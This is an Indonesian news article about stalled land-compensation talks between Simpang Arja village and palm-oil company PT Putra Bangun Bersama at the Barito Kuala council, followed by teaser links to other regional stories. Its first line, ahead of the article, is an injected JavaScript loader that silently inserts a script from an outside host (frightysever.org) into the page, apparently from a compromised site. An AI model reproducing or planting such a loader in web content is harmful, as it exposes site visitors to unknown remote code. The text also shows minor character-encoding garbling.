(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN- Upaya perundingan mengenai lahan antara Pemerintah Desa Simpang Arja, Kabupaten Barito Kuala (Batola), dan perusahaan sawit PT Putra Bangun Bersama (PBB) tidak berhasil mencapai kesepakatan. Konflik ini muncul setelah ditemukan dugaan penjualan lahan oleh oknum masyarakat desa, yang mengakibatkan ganti rugi yang telah dibayarkan oleh PT PBB tidak sampai kepada pemilik lahan.
Pernyataan dari kedua belah pihak mengindikasikan ketidaksepakatan mengenai kepemilikan lahan. Kepala Desa Simpang Arja, Ambia, menegaskan kesiapannya untuk melaporkan oknum yang diduga terlibat dalam penjualan lahan tersebut. Fakta menunjukkan bahwa oknum tersebut merupakan mantan pejabat desa setempat.
“Karena tidak ada titik temu dalam perundingan dan solusi yang ditemukan, kami bersedia melaporkan masalah ini ke pihak kejaksaan atau kepolisian. Kami siap untuk mengambil langkah hukum,” Ambia mengungkapkan.
Baca juga:Â Dirjen Otda Kemendagri Evaluasi Kinerja Pemkab Kapuas
Sementara itu, General Manager Social Security Legal PT PBB, Herman Prawira, memberikan tanggapan positif terhadap rencana tindakan hukum yang akan diambil oleh pihak desa. Herman mengklarifikasi posisi perusahaan, menyatakan bahwa perusahaan sudah melakukan pembayaran ganti rugi sesuai arahan yang telah diberikan oleh anggota dewan.
Herman menyatakan, “Kami tidak memiliki keberatan terhadap tindakan tegas dari pihak desa. Kami sudah melakukan pembayaran sesuai arahan yang kami terima. Jika ada oknum yang melakukan penjualan lahan dan pemilik lahan merasa dirugikan, maka langkah yang tepat adalah melaporkannya.”
Perundingan antara Desa Simpang Arja dan PT PBB berlangsung alot dalam rapat dengar pendapat di Gedung DPRD Batola, Marabahan, pada Selasa (4/7/2023) sore.
Ketua DPRD Batola, Saleh, memimpin rapat yang dihadiri oleh para anggota dewan. Saleh menjelaskan bahwa konflik ini berasal dari klaim wilayah yang belum menerima ganti rugi dari perusahaan, meskipun telah sesuai dengan regulasi Permendagri Nomor 45.
Baca juga:Â Dalih PUPR Banjarmasin Pertahankan Material Ulin Jembatan Kuin Utara
Masyarakat juga turut menghadirkan permasalahan dalam konteks ini, menuntut ganti rugi yang sejauh ini tidak diterima.
“Kami melihat adanya kebingungan dalam hal ini. Meskipun perusahaan telah membayar, ada masyarakat yang merasa belum mendapatkan ganti rugi,†Saleh menambahkan.
DPRD Batola menyarankan agar Pemerintah Desa Simpang Arja melaporkan masalah ini ke pihak berwenang, dengan pertimbangan bahwa kemungkinan terdapat pihak lain yang menerima pembayaran ganti rugi tersebut. (Kanalkalimantan.com/rdy)
Reporter : rdy
Editor : KK
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.